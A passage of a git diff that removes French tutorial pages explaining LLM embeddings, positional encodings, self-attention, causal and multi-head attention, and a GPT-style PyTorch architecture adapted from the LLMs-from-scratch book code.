-│ │Token│ │ -│ │ 4 │ │ -│ └─────┘ │ -│ Sample 2 │ -│ ┌─────┐ │ -│ │Token│ → [x₂₁, x₂₂, ..., x₂₂₅₆] -│ │ 1 │ │ -│ │... │ │ -│ │Token│ │ -│ │ 4 │ │ -│ └─────┘ │ -│ ... │ -│ Sample 8 │ -│ ┌─────┐ │ -│ │Token│ → [x₈₁, x₈₂, ..., x₈₂₅₆] -│ │ 1 │ │ -│ │... │ │ -│ │Token│ │ -│ │ 4 │ │ -│ └─────┘ │ -└─────────────┘ -``` -**Explication :** - -- Chaque token dans la séquence est représenté par un vecteur de 256 dimensions. -- Le modèle traite ces embeddings pour apprendre les motifs linguistiques et générer des prédictions. - -## **Embeddings Positionnels : Ajouter du Contexte aux Embeddings de Tokens** - -Alors que les embeddings de tokens capturent le sens des tokens individuels, ils n'encode pas intrinsèquement la position des tokens dans une séquence. Comprendre l'ordre des tokens est crucial pour la compréhension du langage. C'est là que les **embeddings positionnels** entrent en jeu. - -### **Pourquoi les Embeddings Positionnels Sont Nécessaires :** - -- **L'Ordre des Tokens Compte :** Dans les phrases, le sens dépend souvent de l'ordre des mots. Par exemple, "Le chat est assis sur le tapis" vs. "Le tapis est assis sur le chat." -- **Limitation des Embeddings :** Sans information positionnelle, le modèle traite les tokens comme un "sac de mots", ignorant leur séquence. - -### **Types d'Embeddings Positionnels :** - -1. **Embeddings Positionnels Absolus :** -- Attribuer un vecteur de position unique à chaque position dans la séquence. -- **Exemple :** Le premier token dans n'importe quelle séquence a le même embedding positionnel, le deuxième token en a un autre, et ainsi de suite. -- **Utilisé Par :** Les modèles GPT d'OpenAI. -2. **Embeddings Positionnels Relatifs :** -- Encoder la distance relative entre les tokens plutôt que leurs positions absolues. -- **Exemple :** Indiquer à quelle distance deux tokens sont, indépendamment de leurs positions absolues dans la séquence. -- **Utilisé Par :** Des modèles comme Transformer-XL et certaines variantes de BERT. - -### **Comment les Embeddings Positionnels Sont Intégrés :** - -- **Mêmes Dimensions :** Les embeddings positionnels ont la même dimensionalité que les embeddings de tokens. -- **Addition :** Ils sont ajoutés aux embeddings de tokens, combinant l'identité du token avec l'information positionnelle sans augmenter la dimensionalité globale. - -**Exemple d'Ajout d'Embeddings Positionnels :** - -Supposons qu'un vecteur d'embedding de token soit `[0.5, -0.2, 0.1]` et que son vecteur d'embedding positionnel soit `[0.1, 0.3, -0.1]`. L'embedding combiné utilisé par le modèle serait : -```css -Combined Embedding = Token Embedding + Positional Embedding -= [0.5 + 0.1, -0.2 + 0.3, 0.1 + (-0.1)] -= [0.6, 0.1, 0.0] -``` -**Avantages des embeddings positionnels :** - -- **Conscience contextuelle :** Le modèle peut différencier les tokens en fonction de leurs positions. -- **Compréhension de la séquence :** Permet au modèle de comprendre la grammaire, la syntaxe et les significations dépendantes du contexte. - -## Exemple de code - -Suivant l'exemple de code de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb) : -```python -# Use previous code... - -# Create dimensional emdeddings -""" -BPE uses a vocabulary of 50257 words -Let's supose we want to use 256 dimensions (instead of the millions used by LLMs) -""" - -vocab_size = 50257 -output_dim = 256 -token_embedding_layer = torch.nn.Embedding(vocab_size, output_dim) - -## Generate the dataloader like before -max_length = 4 -dataloader = create_dataloader_v1( -raw_text, batch_size=8, max_length=max_length, -stride=max_length, shuffle=False -) -data_iter = iter(dataloader) -inputs, targets = next(data_iter) - -# Apply embeddings -token_embeddings = token_embedding_layer(inputs) -print(token_embeddings.shape) -torch.Size([8, 4, 256]) # 8 x 4 x 256 - -# Generate absolute embeddings -context_length = max_length -pos_embedding_layer = torch.nn.Embedding(context_length, output_dim) - -pos_embeddings = pos_embedding_layer(torch.arange(max_length)) - -input_embeddings = token_embeddings + pos_embeddings -print(input_embeddings.shape) # torch.Size([8, 4, 256]) -``` -## Références - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) diff --git a/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md b/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md deleted file mode 100644 index 7771f6330..000000000 --- a/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md +++ /dev/null @@ -1,416 +0,0 @@ -# 4. Mécanismes d'Attention - -## Mécanismes d'Attention et Auto-Attention dans les Réseaux de Neurones - -Les mécanismes d'attention permettent aux réseaux de neurones de **se concentrer sur des parties spécifiques de l'entrée lors de la génération de chaque partie de la sortie**. Ils attribuent des poids différents à différentes entrées, aidant le modèle à décider quelles entrées sont les plus pertinentes pour la tâche à accomplir. Cela est crucial dans des tâches comme la traduction automatique, où comprendre le contexte de l'ensemble de la phrase est nécessaire pour une traduction précise. - -> [!TIP] -> L'objectif de cette quatrième phase est très simple : **Appliquer certains mécanismes d'attention**. Ceux-ci vont être beaucoup de **couches répétées** qui vont **capturer la relation d'un mot dans le vocabulaire avec ses voisins dans la phrase actuelle utilisée pour entraîner le LLM**.\ -> Beaucoup de couches sont utilisées pour cela, donc beaucoup de paramètres entraînables vont capturer cette information. - -### Comprendre les Mécanismes d'Attention - -Dans les modèles traditionnels de séquence à séquence utilisés pour la traduction linguistique, le modèle encode une séquence d'entrée en un vecteur de contexte de taille fixe. Cependant, cette approche a des difficultés avec les longues phrases car le vecteur de contexte de taille fixe peut ne pas capturer toutes les informations nécessaires. Les mécanismes d'attention répondent à cette limitation en permettant au modèle de considérer tous les tokens d'entrée lors de la génération de chaque token de sortie. - -#### Exemple : Traduction Automatique - -Considérons la traduction de la phrase allemande "Kannst du mir helfen diesen Satz zu übersetzen" en anglais. Une traduction mot à mot ne produirait pas une phrase anglaise grammaticalement correcte en raison des différences dans les structures grammaticales entre les langues. Un mécanisme d'attention permet au modèle de se concentrer sur les parties pertinentes de la phrase d'entrée lors de la génération de chaque mot de la phrase de sortie, conduisant à une traduction plus précise et cohérente. - -### Introduction à l'Auto-Attention - -L'auto-attention, ou intra-attention, est un mécanisme où l'attention est appliquée au sein d'une seule séquence pour calculer une représentation de cette séquence. Elle permet à chaque token de la séquence de prêter attention à tous les autres tokens, aidant le modèle à capturer les dépendances entre les tokens, quelle que soit leur distance dans la séquence. - -#### Concepts Clés - -- **Tokens** : Éléments individuels de la séquence d'entrée (par exemple, mots dans une phrase). -- **Embeddings** : Représentations vectorielles des tokens, capturant des informations sémantiques. -- **Poids d'Attention** : Valeurs qui déterminent l'importance de chaque token par rapport aux autres. - -### Calcul des Poids d'Attention : Un Exemple Étape par Étape - -Considérons la phrase **"Hello shiny sun!"** et représentons chaque mot avec un embedding en 3 dimensions : - -- **Hello** : `[0.34, 0.22, 0.54]` -- **shiny** : `[0.53, 0.34, 0.98]` -- **sun** : `[0.29, 0.54, 0.93]` - -Notre objectif est de calculer le **vecteur de contexte** pour le mot **"shiny"** en utilisant l'auto-attention. - -#### Étape 1 : Calculer les Scores d'Attention - -> [!TIP] -> Il suffit de multiplier chaque valeur de dimension de la requête par la valeur correspondante de chaque token et d'ajouter les résultats. Vous obtenez 1 valeur par paire de tokens. - -Pour chaque mot de la phrase, calculez le **score d'attention** par rapport à "shiny" en calculant le produit scalaire de leurs embeddings. - -**Score d'Attention entre "Hello" et "shiny"** - -
- -**Score d'Attention entre "shiny" et "shiny"** - -
- -**Score d'Attention entre "sun" et "shiny"** - -
- -#### Étape 2 : Normaliser les Scores d'Attention pour Obtenir les Poids d'Attention - -> [!TIP] -> Ne vous perdez pas dans les termes mathématiques, l'objectif de cette fonction est simple, normaliser tous les poids pour **qu'ils s'additionnent à 1 au total**. -> -> De plus, la fonction **softmax** est utilisée car elle accentue les différences grâce à la partie exponentielle, facilitant la détection des valeurs utiles. - -Appliquez la **fonction softmax** aux scores d'attention pour les convertir en poids d'attention qui s'additionnent à 1. - -
- -Calcul des exponentielles : - -
- -Calcul de la somme : - -
- -Calcul des poids d'attention : - -
- -#### Étape 3 : Calculer le Vecteur de Contexte - -> [!TIP] -> Il suffit de prendre chaque poids d'attention et de le multiplier par les dimensions du token correspondant, puis de sommer toutes les dimensions pour obtenir juste 1 vecteur (le vecteur de contexte) - -Le **vecteur de contexte** est calculé comme la somme pondérée des embeddings de tous les mots, en utilisant les poids d'attention. - -
- -Calcul de chaque composant : - -- **Embedding Pondéré de "Hello"** : - -
- -- **Embedding Pondéré de "shiny"** : - -
- -- **Embedding Pondéré de "sun"** : - -
- -Somme des embeddings pondérés : - -`vecteur de contexte=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]` - -**Ce vecteur de contexte représente l'embedding enrichi pour le mot "shiny", incorporant des informations de tous les mots de la phrase.** - -### Résumé du Processus - -1. **Calculer les Scores d'Attention** : Utilisez le produit scalaire entre l'embedding du mot cible et les embeddings de tous les mots de la séquence. -2. **Normaliser les Scores pour Obtenir les Poids d'Attention** : Appliquez la fonction softmax aux scores d'attention pour obtenir des poids qui s'additionnent à 1. -3. **Calculer le Vecteur de Contexte** : Multipliez l'embedding de chaque mot par son poids d'attention et additionnez les résultats. - -## Auto-Attention avec Poids Entraînables - -En pratique, les mécanismes d'auto-attention utilisent des **poids entraînables** pour apprendre les meilleures représentations pour les requêtes, les clés et les valeurs. Cela implique l'introduction de trois matrices de poids : - -
- -La requête est les données à utiliser comme auparavant, tandis que les matrices de clés et de valeurs sont simplement des matrices aléatoires entraînables. - -#### Étape 1 : Calculer les Requêtes, Clés et Valeurs - -Chaque token aura sa propre matrice de requête, de clé et de valeur en multipliant ses valeurs de dimension par les matrices définies : - -
- -Ces matrices transforment les embeddings originaux en un nouvel espace adapté au calcul de l'attention. - -**Exemple** - -En supposant : - -- Dimension d'entrée `din=3` (taille de l'embedding) -- Dimension de sortie `dout=2` (dimension souhaitée pour les requêtes, clés et valeurs) - -Initialisez les matrices de poids : -```python -import torch.nn as nn - -d_in = 3 -d_out = 2 - -W_query = nn.Parameter(torch.rand(d_in, d_out)) -W_key = nn.Parameter(torch.rand(d_in, d_out)) -W_value = nn.Parameter(torch.rand(d_in, d_out)) -``` -Calculer les requêtes, les clés et les valeurs : -```python -queries = torch.matmul(inputs, W_query) -keys = torch.matmul(inputs, W_key) -values = torch.matmul(inputs, W_value) -``` -#### Étape 2 : Calculer l'attention par produit scalaire mis à l'échelle - -**Calculer les scores d'attention** - -Semblable à l'exemple précédent, mais cette fois, au lieu d'utiliser les valeurs des dimensions des tokens, nous utilisons la matrice clé du token (déjà calculée en utilisant les dimensions) : . Donc, pour chaque requête `qi`​ et clé `kj​` : - -
- -**Mettre à l'échelle les scores** - -Pour éviter que les produits scalaires ne deviennent trop grands, mettez-les à l'échelle par la racine carrée de la dimension clé `dk`​ : - -
- -> [!TIP] -> Le score est divisé par la racine carrée des dimensions car les produits scalaires peuvent devenir très grands et cela aide à les réguler. - -**Appliquer Softmax pour obtenir les poids d'attention :** Comme dans l'exemple initial, normalisez toutes les valeurs pour qu'elles s'additionnent à 1. - -
- -#### Étape 3 : Calculer les vecteurs de contexte - -Comme dans l'exemple initial, il suffit de sommer toutes les matrices de valeurs en multipliant chacune par son poids d'attention : - -
- -### Exemple de code - -En prenant un exemple de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb), vous pouvez consulter cette classe qui implémente la fonctionnalité d'auto-attention dont nous avons parlé : -```python -import torch - -inputs = torch.tensor( -[[0.43, 0.15, 0.89], # Your (x^1) -[0.55, 0.87, 0.66], # journey (x^2) -[0.57, 0.85, 0.64], # starts (x^3) -[0.22, 0.58, 0.33], # with (x^4) -[0.77, 0.25, 0.10], # one (x^5) -[0.05, 0.80, 0.55]] # step (x^6) -) - -import torch.nn as nn -class SelfAttention_v2(nn.Module): - -def __init__(self, d_in, d_out, qkv_bias=False): -super().__init__() -self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias) - -def forward(self, x): -keys = self.W_key(x) -queries = self.W_query(x) -values = self.W_value(x) - -attn_scores = queries @ keys.T -attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1) - -context_vec = attn_weights @ values -return context_vec - -d_in=3 -d_out=2 -torch.manual_seed(789) -sa_v2 = SelfAttention_v2(d_in, d_out) -print(sa_v2(inputs)) -``` -> [!NOTE] -> Notez qu'au lieu d'initialiser les matrices avec des valeurs aléatoires, `nn.Linear` est utilisé pour marquer tous les poids comme paramètres à entraîner. - -## Attention Causale : Masquer les Mots Futurs - -Pour les LLMs, nous voulons que le modèle ne considère que les tokens qui apparaissent avant la position actuelle afin de **prédire le prochain token**. **L'attention causale**, également connue sous le nom de **masquage d'attention**, y parvient en modifiant le mécanisme d'attention pour empêcher l'accès aux tokens futurs. - -### Application d'un Masque d'Attention Causale - -Pour mettre en œuvre l'attention causale, nous appliquons un masque aux scores d'attention **avant l'opération softmax** afin que les scores restants s'additionnent toujours à 1. Ce masque fixe les scores d'attention des tokens futurs à moins l'infini, garantissant qu'après le softmax, leurs poids d'attention sont nuls. - -**Étapes** - -1. **Calculer les Scores d'Attention** : Comme auparavant. -2. **Appliquer le Masque** : Utiliser une matrice triangulaire supérieure remplie de moins l'infini au-dessus de la diagonale. - -```python -mask = torch.triu(torch.ones(seq_len, seq_len), diagonal=1) * float('-inf') -masked_scores = attention_scores + mask -``` - -3. **Appliquer Softmax** : Calculer les poids d'attention en utilisant les scores masqués. - -```python -attention_weights = torch.softmax(masked_scores, dim=-1) -``` - -### Masquage des Poids d'Attention Supplémentaires avec Dropout - -Pour **prévenir le surapprentissage**, nous pouvons appliquer **dropout** aux poids d'attention après l'opération softmax. Le dropout **met aléatoirement à zéro certains des poids d'attention** pendant l'entraînement. -```python -dropout = nn.Dropout(p=0.5) -attention_weights = dropout(attention_weights) -``` -Un abandon régulier est d'environ 10-20%. - -### Code Exemple - -Exemple de code provenant de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb): -```python -import torch -import torch.nn as nn - -inputs = torch.tensor( -[[0.43, 0.15, 0.89], # Your (x^1) -[0.55, 0.87, 0.66], # journey (x^2) -[0.57, 0.85, 0.64], # starts (x^3) -[0.22, 0.58, 0.33], # with (x^4) -[0.77, 0.25, 0.10], # one (x^5) -[0.05, 0.80, 0.55]] # step (x^6) -) - -batch = torch.stack((inputs, inputs), dim=0) -print(batch.shape) - -class CausalAttention(nn.Module): - -def __init__(self, d_in, d_out, context_length, -dropout, qkv_bias=False): -super().__init__() -self.d_out = d_out -self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias) -self.dropout = nn.Dropout(dropout) -self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1)) # New - -def forward(self, x): -b, num_tokens, d_in = x.shape -# b is the num of batches -# num_tokens is the number of tokens per batch -# d_in is the dimensions er token - -keys = self.W_key(x) # This generates the keys of the tokens -queries = self.W_query(x) -values = self.W_value(x) - -attn_scores = queries @ keys.transpose(1, 2) # Moves the third dimension to the second one and the second one to the third one to be able to multiply -attn_scores.masked_fill_( # New, _ ops are in-place -self.mask.bool()[:num_tokens, :num_tokens], -torch.inf) # `:num_tokens` to account for cases where the number of tokens in the batch is smaller than the supported context_size -attn_weights = torch.softmax( -attn_scores / keys.shape[-1]**0.5, dim=-1 -) -attn_weights = self.dropout(attn_weights) - -context_vec = attn_weights @ values -return context_vec - -torch.manual_seed(123) - -context_length = batch.shape[1] -d_in = 3 -d_out = 2 -ca = CausalAttention(d_in, d_out, context_length, 0.0) - -context_vecs = ca(batch) - -print(context_vecs) -print("context_vecs.shape:", context_vecs.shape) -``` -## Étendre l'attention à tête unique à l'attention à plusieurs têtes - -**L'attention à plusieurs têtes** consiste en termes pratiques à exécuter **plusieurs instances** de la fonction d'auto-attention, chacune avec **ses propres poids**, de sorte que différents vecteurs finaux soient calculés. - -### Exemple de code - -Il pourrait être possible de réutiliser le code précédent et d'ajouter simplement un wrapper qui le lance plusieurs fois, mais voici une version plus optimisée de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) qui traite toutes les têtes en même temps (réduisant le nombre de boucles for coûteuses). Comme vous pouvez le voir dans le code, les dimensions de chaque token sont divisées en différentes dimensions selon le nombre de têtes. De cette façon, si un token a 8 dimensions et que nous voulons utiliser 3 têtes, les dimensions seront divisées en 2 tableaux de 4 dimensions et chaque tête utilisera l'un d'eux : -```python -class MultiHeadAttention(nn.Module): -def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False): -super().__init__() -assert (d_out % num_heads == 0), \ -"d_out must be divisible by num_heads" - -self.d_out = d_out -self.num_heads = num_heads -self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim - -self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias) -self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs -self.dropout = nn.Dropout(dropout) -self.register_buffer( -"mask", -torch.triu(torch.ones(context_length, context_length), -diagonal=1) -) - -def forward(self, x): -b, num_tokens, d_in = x.shape -# b is the num of batches -# num_tokens is the number of tokens per batch -# d_in is the dimensions er token - -keys = self.W_key(x) # Shape: (b, num_tokens, d_out) -queries = self.W_query(x) -values = self.W_value(x) - -# We implicitly split the matrix by adding a `num_heads` dimension -# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim) -keys = keys.view(b, num_tokens, self.num_heads, self.head_dim) -values = values.view(b, num_tokens, self.num_heads, self.head_dim) -queries = queries.view(b, num_tokens, self.num_heads, self.head_dim) - -# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim) -keys = keys.transpose(1, 2) -queries = queries.transpose(1, 2) -values = values.transpose(1, 2) - -# Compute scaled dot-product attention (aka self-attention) with a causal mask -attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head - -# Original mask truncated to the number of tokens and converted to boolean -mask_bool = self.mask.bool()[:num_tokens, :num_tokens] - -# Use the mask to fill attention scores -attn_scores.masked_fill_(mask_bool, -torch.inf) - -attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1) -attn_weights = self.dropout(attn_weights) - -# Shape: (b, num_tokens, num_heads, head_dim) -context_vec = (attn_weights @ values).transpose(1, 2) - -# Combine heads, where self.d_out = self.num_heads * self.head_dim -context_vec = context_vec.contiguous().view(b, num_tokens, self.d_out) -context_vec = self.out_proj(context_vec) # optional projection - -return context_vec - -torch.manual_seed(123) - -batch_size, context_length, d_in = batch.shape -d_out = 2 -mha = MultiHeadAttention(d_in, d_out, context_length, 0.0, num_heads=2) - -context_vecs = mha(batch) - -print(context_vecs) -print("context_vecs.shape:", context_vecs.shape) - -``` -Pour une implémentation compacte et efficace, vous pourriez utiliser la classe [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) dans PyTorch. - -> [!TIP] -> Réponse courte de ChatGPT sur pourquoi il est préférable de diviser les dimensions des tokens entre les têtes plutôt que de faire en sorte que chaque tête vérifie toutes les dimensions de tous les tokens : -> -> Bien que permettre à chaque tête de traiter toutes les dimensions d'embedding puisse sembler avantageux car chaque tête aurait accès à l'information complète, la pratique standard est de **diviser les dimensions d'embedding entre les têtes**. Cette approche équilibre l'efficacité computationnelle avec la performance du modèle et encourage chaque tête à apprendre des représentations diverses. Par conséquent, diviser les dimensions d'embedding est généralement préféré à faire en sorte que chaque tête vérifie toutes les dimensions. - -## Références - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) diff --git a/src/todo/llm-training-data-preparation/5.-llm-architecture.md b/src/todo/llm-training-data-preparation/5.-llm-architecture.md deleted file mode 100644 index 3ddbb5753..000000000 --- a/src/todo/llm-training-data-preparation/5.-llm-architecture.md +++ /dev/null @@ -1,666 +0,0 @@ -# 5. Architecture LLM - -## Architecture LLM - -> [!TIP] -> L'objectif de cette cinquième phase est très simple : **Développer l'architecture du LLM complet**. Rassemblez tout, appliquez toutes les couches et créez toutes les fonctions pour générer du texte ou transformer du texte en IDs et vice versa. -> -> Cette architecture sera utilisée à la fois pour l'entraînement et pour prédire du texte après qu'il ait été entraîné. - -Exemple d'architecture LLM de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb) : - -Une représentation de haut niveau peut être observée dans : - -

https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31

- -1. **Entrée (Texte Tokenisé)** : Le processus commence par du texte tokenisé, qui est converti en représentations numériques. -2. **Couche d'Embedding de Token et Couche d'Embedding Positionnel** : Le texte tokenisé est passé par une **couche d'embedding de token** et une **couche d'embedding positionnel**, qui capture la position des tokens dans une séquence, critique pour comprendre l'ordre des mots. -3. **Blocs Transformer** : Le modèle contient **12 blocs transformer**, chacun avec plusieurs couches. Ces blocs répètent la séquence suivante : -- **Attention Multi-Tête Masquée** : Permet au modèle de se concentrer sur différentes parties du texte d'entrée en même temps. -- **Normalisation de Couche** : Une étape de normalisation pour stabiliser et améliorer l'entraînement. -- **Couche Feed Forward** : Responsable du traitement des informations de la couche d'attention et de la prédiction du prochain token. -- **Couches de Dropout** : Ces couches empêchent le surapprentissage en supprimant aléatoirement des unités pendant l'entraînement. -4. **Couche de Sortie Finale** : Le modèle produit un **tenseur de dimension 4x50,257**, où **50,257** représente la taille du vocabulaire. Chaque ligne de ce tenseur correspond à un vecteur que le modèle utilise pour prédire le prochain mot dans la séquence. -5. **Objectif** : L'objectif est de prendre ces embeddings et de les convertir à nouveau en texte. Plus précisément, la dernière ligne de la sortie est utilisée pour générer le prochain mot, représenté comme "forward" dans ce diagramme. - -### Représentation du Code -```python -import torch -import torch.nn as nn -import tiktoken - -class GELU(nn.Module): -def __init__(self): -super().__init__() - -def forward(self, x): -return 0.5 * x * (1 + torch.tanh( -torch.sqrt(torch.tensor(2.0 / torch.pi)) * -(x + 0.044715 * torch.pow(x, 3)) -)) - -class FeedForward(nn.Module): -def __init__(self, cfg): -super().__init__() -self.layers = nn.Sequential( -nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]), -GELU(), -nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]), -) - -def forward(self, x): -return self.layers(x) - -class MultiHeadAttention(nn.Module): -def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False): -super().__init__() -assert d_out % num_heads == 0, "d_out must be divisible by num_heads" - -self.d_out = d_out -self.num_heads = num_heads -self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim - -self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias) -self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs -self.dropout = nn.Dropout(dropout) -self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1)) - -def forward(self, x): -b, num_tokens, d_in = x.shape - -keys = self.W_key(x) # Shape: (b, num_tokens, d_out) -queries = self.W_query(x) -values = self.W_value(x) - -# We implicitly split the matrix by adding a `num_heads` dimension -# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim) -keys = keys.view(b, num_tokens, self.num_heads, self.head_dim) -values = values.view(b, num_tokens, self.num_heads, self.head_dim) -queries = queries.view(b, num_tokens, self.num_heads, self.head_dim) - -# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim) -keys = keys.transpose(1, 2) -queries = queries.transpose(1, 2) -values = values.transpose(1, 2) - -# Compute scaled dot-product attention (aka self-attention) with a causal mask -attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head - -# Original mask truncated to the number of tokens and converted to boolean -mask_bool = self.mask.bool()[:num_tokens, :num_tokens] - -# Use the mask to fill attention scores -attn_scores.masked_fill_(mask_bool, -torch.inf) - -attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1) -attn_weights = self.dropout(attn_weights) - -# Shape: (b, num_tokens, num_heads, head_dim) -context_vec = (attn_weights @ values).transpose(1, 2) - -# Combine heads, where self.d_out = self.num_heads * self.head_dim -context_vec = context_vec.contiguous().view(b, num_tokens, self.d_out) -context_vec = self.out_proj(context_vec) # optional projection - -return context_vec - -class LayerNorm(nn.Module): -def __init__(self, emb_dim): -super().__init__() -self.eps = 1e-5 -self.scale = nn.Parameter(torch.ones(emb_dim)) -self.shift = nn.Parameter(torch.zeros(emb_dim)) - -def forward(self, x): -mean = x.mean(dim=-1, keepdim=True) -var = x.var(dim=-1, keepdim=True, unbiased=False) -norm_x = (x - mean) / torch.sqrt(var + self.eps) -return self.scale * norm_x + self.shift - -class TransformerBlock(nn.Module): -def __init__(self, cfg): -super().__init__() -self.att = MultiHeadAttention( -d_in=cfg["emb_dim"], -d_out=cfg["emb_dim"], -context_length=cfg["context_length"], -num_heads=cfg["n_heads"], -dropout=cfg["drop_rate"], -qkv_bias=cfg["qkv_bias"]) -self.ff = FeedForward(cfg) -self.norm1 = LayerNorm(cfg["emb_dim"]) -self.norm2 = LayerNorm(cfg["emb_dim"]) -self.drop_shortcut = nn.Dropout(cfg["drop_rate"]) - -def forward(self, x): -# Shortcut connection for attention block -shortcut = x -x = self.norm1(x) -x = self.att(x) # Shape [batch_size, num_tokens, emb_size] -x = self.drop_shortcut(x) -x = x + shortcut # Add the original input back - -# Shortcut connection for feed forward block -shortcut = x -x = self.norm2(x) -x = self.ff(x) -x = self.drop_shortcut(x) -x = x + shortcut # Add the original input back - -return x - - -class GPTModel(nn.Module): -def __init__(self, cfg): -super().__init__() -self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"]) -self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"]) -self.drop_emb = nn.Dropout(cfg["drop_rate"]) - -self.trf_blocks = nn.Sequential( -*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])]) - -self.final_norm = LayerNorm(cfg["emb_dim"]) -self.out_head = nn.Linear( -cfg["emb_dim"], cfg["vocab_size"], bias=False -) - -def forward(self, in_idx): -batch_size, seq_len = in_idx.shape -tok_embeds = self.tok_emb(in_idx) -pos_embeds = self.pos_emb(torch.arange(seq_len, device=in_idx.device)) -x = tok_embeds + pos_embeds # Shape [batch_size, num_tokens, emb_size] -x = self.drop_emb(x) -x = self.trf_blocks(x) -x = self.final_norm(x) -logits = self.out_head(x) -return logits - -GPT_CONFIG_124M = { -"vocab_size": 50257, # Vocabulary size -"context_length": 1024, # Context length -"emb_dim": 768, # Embedding dimension -"n_heads": 12, # Number of attention heads -"n_layers": 12, # Number of layers -"drop_rate": 0.1, # Dropout rate -"qkv_bias": False # Query-Key-Value bias -} - -torch.manual_seed(123) -model = GPTModel(GPT_CONFIG_124M) -out = model(batch) -print("Input batch:\n", batch) -print("\nOutput shape:", out.shape) -print(out) -``` -### **Fonction d'activation GELU** -```python -# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 -class GELU(nn.Module): -def __init__(self): -super().__init__() - -def forward(self, x): -return 0.5 * x * (1 + torch.tanh( -torch.sqrt(torch.tensor(2.0 / torch.pi)) * -(x + 0.044715 * torch.pow(x, 3)) -)) -``` -#### **Objectif et Fonctionnalité** - -- **GELU (Unité Linéaire d'Erreur Gaussienne) :** Une fonction d'activation qui introduit de la non-linéarité dans le modèle. -- **Activation Douce :** Contrairement à ReLU, qui annule les entrées négatives, GELU mappe en douceur les entrées aux sorties, permettant des valeurs petites et non nulles pour les entrées négatives. -- **Définition Mathématique :** - -
- -> [!NOTE] -> L'objectif de l'utilisation de cette fonction après les couches linéaires à l'intérieur de la couche FeedForward est de transformer les données linéaires en données non linéaires pour permettre au modèle d'apprendre des relations complexes et non linéaires. - -### **Réseau de Neurones FeedForward** - -_Des formes ont été ajoutées en tant que commentaires pour mieux comprendre les formes des matrices :_ -```python -# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 -class FeedForward(nn.Module): -def __init__(self, cfg): -super().__init__() -self.layers = nn.Sequential( -nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]), -GELU(), -nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]), -) - -def forward(self, x): -# x shape: (batch_size, seq_len, emb_dim) - -x = self.layers[0](x)# x shape: (batch_size, seq_len, 4 * emb_dim) -x = self.layers[1](x) # x shape remains: (batch_size, seq_len, 4 * emb_dim) -x = self.layers[2](x) # x shape: (batch_size, seq_len, emb_dim) -return x # Output shape: (batch_size, seq_len, emb_dim) -``` -#### **Objectif et Fonctionnalité** - -- **Réseau FeedForward par Position :** Applique un réseau 